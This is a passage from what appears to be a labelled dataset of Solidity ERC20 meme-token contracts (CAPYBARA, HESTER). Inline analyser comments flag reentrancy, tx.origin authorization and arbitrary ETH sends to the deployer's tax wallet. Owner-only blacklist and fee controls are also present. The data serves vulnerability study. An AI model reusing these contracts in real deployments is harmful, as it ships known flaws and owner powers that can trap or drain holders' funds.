_tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c816de): CAPYBARA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c816de: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bbc99ad): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bbc99ad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a8226ce): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a8226ce: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: bbc99ad\n\t\t// reentrancy-benign | ID: a8226ce\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: bbc99ad\n\t\t// reentrancy-benign | ID: a8226ce\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 03e9059): CAPYBARA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 03e9059: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a8226ce\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: bbc99ad\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1386ff5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1386ff5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 3011da7): CAPYBARA._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(_holderLastTransferTimestamp[tx.origin] < block.number,Only one transfer per block allowed.)\n\t// Recommendation for 3011da7: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 515d05b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 515d05b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bc35a12): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bc35a12: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 3011da7\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"Only one transfer per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (_buyCount < _preventSwapBefore) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (to == uniswapV2Pair && from != address(this)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore &&\n _sellCount[block.number] < 3\n ) {\n\t\t\t\t// reentrancy-events | ID: 1386ff5\n\t\t\t\t// reentrancy-no-eth | ID: 515d05b\n\t\t\t\t// reentrancy-eth | ID: bc35a12\n swapTokensForEth(min(amount, contractTokenBalance));\n\n\t\t\t\t// reentrancy-no-eth | ID: 515d05b\n _sellCount[block.number] = _sellCount[block.number] + 1;\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 1386ff5\n\t\t\t\t\t// reentrancy-eth | ID: bc35a12\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: bc35a12\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 1386ff5\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: bc35a12\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: bc35a12\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 1386ff5\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n\n if (!tradingOpen) {\n return;\n }\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1386ff5\n\t\t// reentrancy-events | ID: bbc99ad\n\t\t// reentrancy-benign | ID: a8226ce\n\t\t// reentrancy-no-eth | ID: 515d05b\n\t\t// reentrancy-eth | ID: bc35a12\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 97964e8): CAPYBARA.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 97964e8: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1386ff5\n\t\t// reentrancy-events | ID: bbc99ad\n\t\t// reentrancy-eth | ID: bc35a12\n\t\t// arbitrary-send-eth | ID: 97964e8\n _taxWallet.transfer(amount);\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n function manageList(address[] memory bots_) external onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: bf6b6ba): CAPYBARA.reduceFee(uint256,uint256) should emit an event for _finalBuyTax = _newBuyFee _finalSellTax = _newSellFee \n\t// Recommendation for bf6b6ba: Emit an event for critical parameter changes.\n function reduceFee(\n uint256 _newBuyFee,\n uint256 _newSellFee\n ) external onlyOwner {\n require(\n _newBuyFee <= 30 && _newSellFee <= 30 && tradingOpen,\n \"Invalid fee\"\n );\n\n\t\t// events-maths | ID: bf6b6ba\n _finalBuyTax = _newBuyFee;\n\n\t\t// events-maths | ID: bf6b6ba\n _finalSellTax = _newSellFee;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fa73619): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fa73619: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 66200f8): CAPYBARA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 66200f8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b6b79b9): CAPYBARA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b6b79b9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3484a30): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3484a30: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: fa73619\n\t\t// reentrancy-eth | ID: 3484a30\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: fa73619\n\t\t// unused-return | ID: 66200f8\n\t\t// reentrancy-eth | ID: 3484a30\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: fa73619\n\t\t// unused-return | ID: b6b79b9\n\t\t// reentrancy-eth | ID: 3484a30\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: fa73619\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 3484a30\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10619.sol",
"size_bytes": 21248,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract HESTER is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4ea8bdf): HESTER._taxWallet should be immutable \n\t// Recommendation for 4ea8bdf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8be5f80): HESTER._initialBuyTax should be constant \n\t// Recommendation for 8be5f80: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: ecf08c4): HESTER._initialSellTax should be constant \n\t// Recommendation for ecf08c4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c91cb2): HESTER._reduceBuyTaxAt should be constant \n\t// Recommendation for 5c91cb2: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2fbd67f): HESTER._reduceSellTaxAt should be constant \n\t// Recommendation for 2fbd67f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6efcbba): HESTER._preventSwapBefore should be constant \n\t// Recommendation for 6efcbba: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Crypto Mom\";\n\n string private constant _symbol = unicode\"HESTER\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: cfe53da): HESTER._taxSwapThreshold should be constant \n\t// Recommendation for cfe53da: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 77e017c): HESTER._maxTaxSwap should be constant \n\t// Recommendation for 77e017c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 941369c): HESTER.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 941369c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: deeaef4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for deeaef4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: db40691): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for db40691: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: deeaef4\n\t\t// reentrancy-benign | ID: db40691\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: deeaef4\n\t\t// reentrancy-benign | ID: db40691\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ff9de56): HESTER._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ff9de56: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: db40691\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: deeaef4\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 46e46a5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 46e46a5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8b8b1e9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8b8b1e9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 46e46a5\n\t\t\t\t// reentrancy-eth | ID: 8b8b1e9\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 46e46a5\n\t\t\t\t\t// reentrancy-eth | ID: 8b8b1e9\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 8b8b1e9\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 8b8b1e9\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 8b8b1e9\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 46e46a5\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 8b8b1e9\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 8b8b1e9\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 46e46a5\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 46e46a5\n\t\t// reentrancy-events | ID: deeaef4\n\t\t// reentrancy-benign | ID: db40691\n\t\t// reentrancy-eth | ID: 8b8b1e9\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b9da5cd): HESTER.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for b9da5cd: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 46e46a5\n\t\t// reentrancy-events | ID: deeaef4\n\t\t// reentrancy-eth | ID: 8b8b1e9\n\t\t// arbitrary-send-eth | ID: b9da5cd\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f23f1ce): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f23f1ce: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 98b2746): HESTER.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 98b2746: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9684e9b): HESTER.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9684e9b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5202103): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5202103: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: f23f1ce\n\t\t// reentrancy-eth | ID: 5202103\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: f23f1ce\n\t\t// unused-return | ID: 9684e9b\n\t\t// reentrancy-eth | ID: 5202103\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f23f1ce\n\t\t// unused-return | ID: 98b2746\n\t\t// reentrancy-eth | ID: 5202103\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: f23f1ce\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 5202103\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_1062.sol",
"size_bytes": 20337,
"vulnerability": 4
} |
{
